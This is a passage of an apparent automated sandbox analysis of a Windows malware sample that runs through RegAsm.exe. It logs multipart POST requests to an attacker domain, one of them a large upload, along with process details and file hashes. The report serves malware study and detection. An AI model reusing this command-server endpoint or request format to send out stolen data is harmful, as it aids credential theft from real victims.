2024-05-04 20:22:53 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 36 30 46 39 38 44 38 34 30 38 43 46 43 34 42 36 38 33 36 35 32 34 41 30 41 35 30 32 38 30 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 75 59 59 33 4e 49 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"960F98D8408CFC4B6836524A0A502805--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"uYY3NI----b
2024-05-04 20:22:53 UTC	5101	OUT	Data Raw: 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-05-04 20:22:54 UTC	802	IN	HTTP/1.1 200 OK Date: Sat, 04 May 2024 20:22:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5p69u4jfs21tf67lo782tndmj1; expires=Wed, 28-Aug-2024 14:09:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hBy9pRga39OQOuChKgkaTw1jYaxZIjCOEWZtWR4jWL2P1KI34P00Z5BvfnzZ0so1U88I075XJcG0ySh8VRvkidM9M6NUA1LpHP6%2FkobhWlS3Z4QsgCYYxH4ZtkL6JeYI0N7QF5K73Dg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87eb349b0fc10d48-LAX alt-svc: h3=":443"; ma=86400
2024-05-04 20:22:54 UTC	22	IN	Data Raw: 31 30 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 34 2e 31 30 34 0d 0a Data Ascii: 10ok 81.181.54.104
2024-05-04 20:22:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	172.67.131.204	443	6676	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-04 20:22:56 UTC	286	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 7079 Host: pearcyworkeronej.shop
2024-05-04 20:22:56 UTC	7079	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 36 30 46 39 38 44 38 34 30 38 43 46 43 34 42 36 38 33 36 35 32 34 41 30 41 35 30 32 38 30 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 75 59 59 33 4e 49 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"960F98D8408CFC4B6836524A0A502805--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"uYY3NI----b
2024-05-04 20:22:57 UTC	812	IN	HTTP/1.1 200 OK Date: Sat, 04 May 2024 20:22:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=u0531n3c8smpri3m6pusq3tcu5; expires=Wed, 28-Aug-2024 14:09:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oipvqpsZFXf4n9p7f2CPxJKi7HjQOfFAdwgNRB4%2BjYZLbWoCvgwIjoLT4wt97eQiZ1UwU4uyBv9nKI%2B1QR%2FYku25PFm5NJp7K2Anf%2FU6qE%2BFYcPgE7lUH04G96SQ%2Fqsv8TkX4yrJRV4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87eb34ab9ca5522d-LAX alt-svc: h3=":443"; ma=86400
2024-05-04 20:22:57 UTC	22	IN	Data Raw: 31 30 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 34 2e 31 30 34 0d 0a Data Ascii: 10ok 81.181.54.104
2024-05-04 20:22:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	172.67.131.204	443	6676	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-04 20:22:57 UTC	286	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1392 Host: pearcyworkeronej.shop
2024-05-04 20:22:57 UTC	1392	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 36 30 46 39 38 44 38 34 30 38 43 46 43 34 42 36 38 33 36 35 32 34 41 30 41 35 30 32 38 30 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 75 59 59 33 4e 49 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"960F98D8408CFC4B6836524A0A502805--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"uYY3NI----b
2024-05-04 20:22:58 UTC	806	IN	HTTP/1.1 200 OK Date: Sat, 04 May 2024 20:22:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=etkps2gklluvvjodvaqpi52e66; expires=Wed, 28-Aug-2024 14:09:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IIntNeigDXAlgh7aKY7TYUjEJQc2oeciDt79bdqjKFOOUUUI6a2B6cH1prks7f%2FuI%2BGU2f8ha4qpMDilc44tjEtuzFAyQga%2BYP7o6uWRuKSLUdRN33zxLRNoGTsAwraFxqUHL8B7jwU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87eb34b269ed102d-LAX alt-svc: h3=":443"; ma=86400
2024-05-04 20:22:58 UTC	22	IN	Data Raw: 31 30 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 34 2e 31 30 34 0d 0a Data Ascii: 10ok 81.181.54.104
2024-05-04 20:22:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49737	172.67.131.204	443	6676	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-04 20:22:58 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 585666 Host: pearcyworkeronej.shop
2024-05-04 20:22:58 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 36 30 46 39 38 44 38 34 30 38 43 46 43 34 42 36 38 33 36 35 32 34 41 30 41 35 30 32 38 30 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 75 59 59 33 4e 49 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"960F98D8408CFC4B6836524A0A502805--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"uYY3NI----b
2024-05-04 20:22:58 UTC	15331	OUT	Data Raw: 0d 55 b5 c0 8b e3 f7 51 92 19 98 db e4 f4 4a 22 cf b1 25 d3 b8 c9 59 79 93 f3 89 99 6e b5 a1 3b cc 98 b6 76 ea 3b e2 9d 75 ba c4 f3 8c e0 61 81 e9 83 40 07 81 6f e5 28 f0 fc e4 18 75 ae a5 c4 f9 52 5f 5b 5c 2f f7 f1 47 47 02 30 ea 67 4c e5 ac d6 4a 31 87 4a 3f c8 0c 0e 55 3e 2c 45 ac f8 8f 23 f1 b2 77 8e c4 0b 23 b9 17 94 56 0f 9b 23 7a 72 85 1f 9c 51 c2 c2 b8 2d ec 9a 39 3a 58 56 70 f5 c0 96 f3 0e f0 cc bf 13 31 db 3f 4e 42 ac 7d 6e 5d 49 76 e4 f9 0f df 07 46 f4 ed 0a e6 88 66 f3 cb 12 b9 47 ef 73 27 7d 3b fe bf 33 d9 bb f9 40 ec aa 04 3c 00 60 15 c2 a7 15 19 60 5d 0d d1 51 89 c6 dd 4e 69 08 8b da 5a 71 72 33 80 ab 7f 6d 9a fe 22 e7 71 f1 a6 22 47 cf 83 3c 3e 9c 3a 1a ee fc ed d4 f5 14 62 7a e0 75 cf b6 81 9f f5 d7 c4 dc 00 9e 97 d2 56 cf 70 e5 b3 18 08 Data Ascii: UQJ"%Yyn;v;ua@o(uR_[\/GG0gLJ1J?U>,E#w#V#zrQ-9:XVp1?NB}n]IvFfGs'};3@<``]QNiZqr3m"q"G<>:bzuVp
2024-05-04 20:22:58 UTC	15331	OUT	Data Raw: b4 5c b2 19 f0 5d a1 fc 03 0c f6 d1 b3 b1 9a ea f8 36 c4 ee 10 8b 51 c0 43 16 c4 e7 d0 bc 89 0d bb aa b5 f0 f1 6e 54 45 68 58 ef 31 5c 0f e8 7a 92 66 2c d9 31 48 14 4e c3 df 76 d9 2a 3a 4c 8b 01 56 bf 55 51 d8 71 35 4f d0 b0 8b b9 cd ff 72 09 38 9e a0 90 07 82 bc 90 f7 7a aa db b8 2b b5 8c 4b 8c 65 f2 8d e6 4f 1b 9e d4 fe 92 1c 68 39 5a 13 14 03 28 4e f8 de 80 61 4f 9d 36 34 6b 24 99 4a d3 65 52 61 aa f5 0e ce b7 85 8c 16 5a bf fc b2 63 56 ae 16 70 35 54 3e 49 23 80 ba b2 12 6e 61 49 98 99 19 44 e9 12 01 37 9a 35 70 e3 0e b1 7a 92 eb 45 ee a6 21 2f bc f9 7a 9f 84 74 7e 6d 5c 1d b2 78 80 1f a9 b8 4f 6c 04 94 a1 3a df 47 8f ee fd ba 42 91 c8 3c 94 b4 60 8e 70 f4 48 59 da 60 6a b0 53 30 ff e4 13 64 18 18 36 44 f3 a0 bd 71 69 8a 6b 66 14 13 e0 94 e4 bf 62 2b Data Ascii: \]6QCnTEhX1\zf,1HNv*:LVUQq5Or8z+KeOh9Z(NaO64k$JeRaZcVp5T>I#naID75pzE!/zt~m\xOl:GB<`pHY`jS0d6Dqikfb+
2024-05-04 20:22:58 UTC	15331	OUT	Data Raw: 20 59 53 f6 5f 5e cb a9 af 3d a5 e9 dc 09 e6 a9 be 63 6a 02 b2 ac bb 57 ba 65 6f ed 75 87 9a c3 77 28 ee e2 1a 77 b9 8e 78 02 c1 6e e6 65 39 0c 69 72 6b 35 61 dd 31 25 b0 67 8d 55 55 fe 0b 39 59 e7 21 4c a9 08 ec 18 7d 36 7b 46 03 14 a8 64 77 50 4b b6 1d bc 51 ff de 1a 9d 08 6e 1e 69 49 ff d0 a3 ef de 17 d1 39 a0 7d 32 68 cd ea a3 bf c8 62 5d 43 31 59 db 14 4e 51 51 f5 af fb 50 40 70 6a 6c cd 48 e9 d3 67 ac 2a 7b ad 99 9e 24 80 cd 6c ba 79 59 63 4f 09 9f f4 5a 7a d5 a4 63 6b b0 34 b5 e2 5b fc 99 69 20 21 db cc 7d c8 ee ef 22 f9 be f7 f4 4e 42 d4 4e d8 58 67 48 94 87 30 b1 79 44 e5 8c 43 bd 12 07 e7 39 6a c1 db a2 5f 74 f3 9c 53 21 de 41 cd e2 b2 af b8 1d e5 46 23 f4 a1 7d 37 3a 68 57 59 2a 5f 59 35 b3 0b 4d 12 dd 66 de 81 01 00 87 38 e3 b2 99 7f 9b ad df Data Ascii: YS_^=cjWeouw(wxne9irk5a1%gUU9Y!L}6{FdwPKQniI9}2hb]C1YNQQP@pjlHg{$lyYcOZzck4[i !}"NBNXgH0yDC9j_tS!AF#}7:hWY_Y5Mf8
2024-05-04 20:22:58 UTC	15331	OUT	Data Raw: 17 3b 0e 80 a4 69 90 b7 57 93 76 12 ce ef 64 3e 16 1c 61 30 56 c0 ba 3f 59 2b d8 0b 9c b2 ea 50 94 4c 0e 1a 0e 28 c5 72 89 6a 81 35 90 51 c3 f7 a7 34 a0 44 3c 69 9a 8f ef ed 6f 69 d9 e8 ec 6f 35 fe 45 76 d7 17 05 04 0d 5f 8d c4 74 5e c2 90 b0 e0 23 4f d3 f3 80 2e a6 89 55 94 dc df c3 9c 51 d7 1c d3 75 d8 46 bc 54 ad ca 7e 77 ae 1d 7c 83 7e 33 45 1c ba bd 60 39 41 45 05 a2 bc e7 16 7f 96 7e 49 92 c7 ba 3b 0d 87 72 71 79 13 ae 47 cc e2 f6 b7 5f 14 cd 78 54 44 0a 35 6a 30 32 aa ff e2 98 ff b5 9c 55 02 59 c9 da d9 4e 14 94 a1 f7 f0 1d bb 72 86 94 c3 47 bc be 69 d8 97 de 01 c3 6e 4a ed 82 9c a3 0f 1e 2f 95 21 b5 8f 8a 83 d2 9a 83 5c 39 a3 cb 00 72 df b1 c5 5c 90 30 ed ce 30 84 ab e2 76 b6 45 02 29 5e 8d 8d f7 46 1d 9b 8b f1 b6 fd c9 4c a4 52 3f 1b 34 98 25 98 Data Ascii: ;iWvd>a0V?Y+PL(rj5Q4D<ioio5Ev_t^#O.UQuFT~w\|~3E`9AE~I;rqyG_xTD5j02UYNrGinJ/!\9r\00vE)^FLR?4%
2024-05-04 20:22:58 UTC	15331	OUT	Data Raw: 0c 1f 08 95 e3 02 da 3e a4 04 14 f0 c3 2f be cb 30 1e 52 3f 9e 58 5e bb 1b 5a 1a b6 e2 26 33 31 37 58 d6 fa 89 23 c3 b1 4e cf b6 38 f4 66 a9 df 92 61 d7 f4 f5 ba 7b c9 4a cc f3 a5 ab 0f eb ee 43 63 bb 5d e9 3d fa 29 39 21 19 21 08 9c b7 03 30 27 c4 9a fa fc 09 8a 7b 92 d6 ed 32 b9 e1 3f 14 3e 7c 18 a4 aa 9a 64 f6 31 6f cc cd 08 dc da 5d 8c 25 b6 f5 f2 a8 ff f8 45 91 85 f5 70 9d 7c 8b 7c 04 8b 4f 3b 6b 9a 1c dc f9 6d 27 55 c6 04 9e 90 3f 1c d8 17 27 92 b8 e5 d5 db 70 8c 66 3f 52 1e ec 7e aa 1d 22 6b 12 a4 88 a0 48 10 37 90 88 7a b8 c4 8b b8 c3 72 4e 2e 68 e7 19 dd 89 0f 90 3f be 92 1b 41 91 b8 50 f7 87 23 82 17 cd 17 02 b9 40 08 07 6a 07 02 35 b7 01 f9 03 c1 7b 4a f2 d3 b4 08 10 a9 44 d0 3f a3 35 12 7e 17 57 82 e1 80 f2 0e 48 14 82 ce 08 3d be a9 bf 7f 38 Data Ascii: >/0R?X^Z&317X#N8fa{JCc]=)9!!0'{2?>\|d1o]%Ep\|\|O;km'U?'pf?R~"kH7zrN.h?AP#@j5{JD?5~WH=8
2024-05-04 20:22:58 UTC	15331	OUT	Data Raw: 02 39 1a f1 af 6c 1a 88 30 19 eb 78 be 77 88 43 fe b5 9e c0 e9 4a 37 55 4f 92 c7 96 d5 80 89 72 2e bd c8 b4 76 d6 30 7d dc 9e d4 8e 30 cf da 3e 0e 53 53 d3 eb 99 99 15 db ee 7f d8 5d 80 2d c8 b5 50 16 e2 b9 6c d5 99 29 59 98 f7 31 71 c9 f1 73 58 19 ee f4 98 ec 78 7d 2a 07 6e 2a 27 81 84 a2 9d 39 74 7c 83 6e 8e 70 7c 52 c1 d1 fd 88 1c 7a 50 72 40 fa ce 57 f9 0e 88 05 96 bc 0b 1e 3a 6a cf f0 59 24 15 f1 b9 71 72 6d 3d f5 a4 70 32 05 52 3e e4 be c1 0e 20 36 f7 76 d0 41 a1 dd e8 a3 49 5d 4e 5c 80 83 4b 9c ef 73 88 b8 a6 de 11 a6 87 f7 cb a1 c4 d1 46 14 ad ad ac 8d ef ef 07 4f ae 23 76 d9 e4 a5 f7 e9 b3 a7 2b 9c fa 55 f9 c9 96 5f a8 33 6f 32 6c 66 9d eb f0 f2 1f 35 0c 38 97 00 6f f1 8d 91 48 39 eb cc 02 15 63 a9 2a 2f 17 9e 1b 83 94 f3 18 e4 15 6e ed b7 32 01 Data Ascii: 9l0xwCJ7UOr.v0}0>SS]-Pl)Y1qsXx}n'9t\|np\|RzPr@W:jY$qrm=p2R> 6vAI]N\KsFO#v+U_3o2lf58oH9c*/n2
2024-05-04 20:22:58 UTC	15331	OUT	Data Raw: 4c b2 e5 e2 f9 47 23 7b e6 e2 82 9f f7 6e 9a 3d d5 db e7 c2 fe f4 c2 4f da fc e7 b5 9e ee 0e 6f 83 83 ce 4f de d5 6e 7d dd 99 dd bc ff f7 20 33 3e ab bf 1d b2 19 06 e4 c9 85 94 df a5 bf 3e ec f8 36 74 a8 43 1b f5 b6 58 dc 07 5e 1f 8c ec aa 8b 78 7e 21 dc 43 2c 4d 45 12 3c 2c 8b d1 b1 f2 66 c7 8d a7 45 2d cb 69 62 5d a5 74 d4 84 27 a3 ab bc 15 7c 49 88 64 29 60 da ce 29 a4 44 d7 cf 2e b0 36 bd e2 99 80 a4 cd 8a e4 04 6d d6 71 b2 b2 eb bf 4c 1a be 0d 1b 7f 33 3a bb 31 d2 db e8 ca 4f a5 dc 3e d3 55 e6 72 b3 5f 85 2a 45 7f bc 17 ab da 70 6a 24 cd a9 a5 03 55 8f 65 73 5a 2d 86 28 1b f5 1a 4d f5 c1 1e 4d 21 e8 6f 6f c5 27 8d 7c ee 05 20 f9 d4 43 23 dc 98 b8 63 82 c4 b0 86 2a 97 57 7f d7 9b 50 38 19 c8 e8 6e 2f 99 d3 2e 40 56 ad 4a 0d f3 fc 9e 50 67 d1 49 78 94 Data Ascii: LG#{n=OoOn} 3>>6tCX^x~!C,ME<,fE-ib]t'\|Id)`)D.6mqL3:1O>Ur_Epj$UesZ-(MM!oo'\| C#cWP8n/.@VJPgIx
2024-05-04 20:22:58 UTC	15331	OUT	Data Raw: 11 ff ef 81 d6 58 ff ca e5 35 01 5e a1 07 12 75 81 cc cd 03 08 ea bb 13 c7 ba a4 7c 7a 4d 31 8f fa a3 a8 54 4c 46 54 cc 97 91 e5 b3 b2 e9 06 c2 b7 52 d3 97 b6 5f 3b 91 e1 d4 d4 14 a4 02 bd 37 c4 e9 cc 2f 13 30 d7 05 31 1c 68 66 dc 83 53 0f fc c1 9f b5 a8 25 3e 8f 5e 2f 32 ff 25 01 4d 0e 81 57 48 81 02 43 5a af 10 80 6e 1e d8 51 03 8a 82 f0 2e 7d cf 38 aa 26 f4 9a 0c 24 39 a9 41 00 bc 58 8b f1 95 df 5a 7f ef c1 2f b2 3e 62 21 b8 64 10 dd 03 b1 01 3e 2a fc 3f ed 01 94 60 fe 4b 08 8c d9 14 1b 4c d5 05 4b c6 82 0d 8b 8c 5d 28 94 8d b8 bc 55 a8 ac 6a 6d 6c c4 0c 7c 6d 15 f2 59 c5 67 9c 2e 0d ae fb 27 34 47 09 72 a6 30 97 8f c8 b2 e6 e7 f0 c6 10 29 d4 13 08 7d a0 21 c4 9a 85 f5 e6 8a 6f bf 69 2a 7a 1c 78 81 f6 d7 0d fa 15 d0 f9 24 7c 3f fc 7c 2f 9f 48 06 1e c4 Data Ascii: X5^u\|zM1TLFTR_;7/01hfS%>^/2%MWHCZnQ.}8&$9AXZ/>b!d>?`KLK](Ujml\|mYg.'4Gr0)}!oizx$\|?\|/H
2024-05-04 20:22:58 UTC	15331	OUT	Data Raw: f9 3f 2b 7e 78 cd d0 d4 46 da c8 53 57 aa f4 11 d7 f5 8e 84 34 16 e8 a1 5e d5 25 f8 70 a4 58 db f1 f5 f6 cb cc 60 d7 7f f7 c9 a8 b3 08 a8 57 53 5e cc 64 8c 11 e1 4f a8 93 eb 8e 7f 47 b2 85 e8 e7 40 e2 98 1a 93 f0 a7 63 9d 2a 03 35 08 ff 55 48 ac 35 36 1a 0b 7d 0c 77 9a 2f 49 12 f2 fc e9 46 a5 53 73 e9 78 7e b6 e7 77 b4 dd 01 4c 62 ae 49 45 5d ab d0 d2 1c ed ae 66 7d a8 f4 fc 59 8b f4 c7 54 bc c8 35 01 ae 5a b6 df 30 cd 8e 89 25 5a 1a 51 04 dd 15 33 14 5a fd f2 42 9f b7 05 66 71 21 1b 1a 7e e3 ef 5c 6b e2 bc e0 4d ff 7a 0a 8c 8f d4 2a fd 78 47 ce bb 73 e5 6d 44 28 65 73 f8 69 30 96 a7 a0 61 73 10 2d 75 99 fd 66 b1 2d f7 57 30 2a a2 78 ab 8e 2b 5c b7 94 97 94 fb 5d 2b ba 6b cd 43 1f e7 92 38 4e de 13 05 bf 92 d2 e3 85 9d fc 30 d7 ce f4 1c 00 7b 48 f5 3e 29 Data Ascii: ?+~xFSW4^%pX`WS^dOG@c5UH56}w/IFSsx~wLbIE]f}YT5Z0%ZQ3ZBfq!~\kMzxGsmD(esi0as-uf-W0*x+\]+kC8N0{H>)
2024-05-04 20:23:01 UTC	812	IN	HTTP/1.1 200 OK Date: Sat, 04 May 2024 20:23:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hlpaj4c9ikjufuerjcmrmimipq; expires=Wed, 28-Aug-2024 14:09:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=stAEYA8nCG0%2B3vDbALx1rOEy%2Bza6LvWMzYXdQM%2B4U3%2BvwETs5WVB1puwIGkFZw9hZIzz%2FN0G%2BJp2S8dCJ4rk4a7ZnTGqoEr6DHj7fuGwzt15Gm6Q64vKTZfXh7e1Q1yvhXweslW0H3w%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87eb34bb3e4908de-LAX alt-svc: h3=":443"; ma=86400

Target ID:	0
Start time:	22:22:46
Start date:	04/05/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe"
Imagebase:	0xfd0000
File size:	578'048 bytes
MD5 hash:	BAB05624883FC9D5FE21F6E26C509C80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	22:22:47
Start date:	04/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x760000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.7%
Total number of Nodes:	1385
Total number of Limit Nodes:	24

Executed Functions

Function 00FEA021 Relevance: .0, Instructions: 22
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

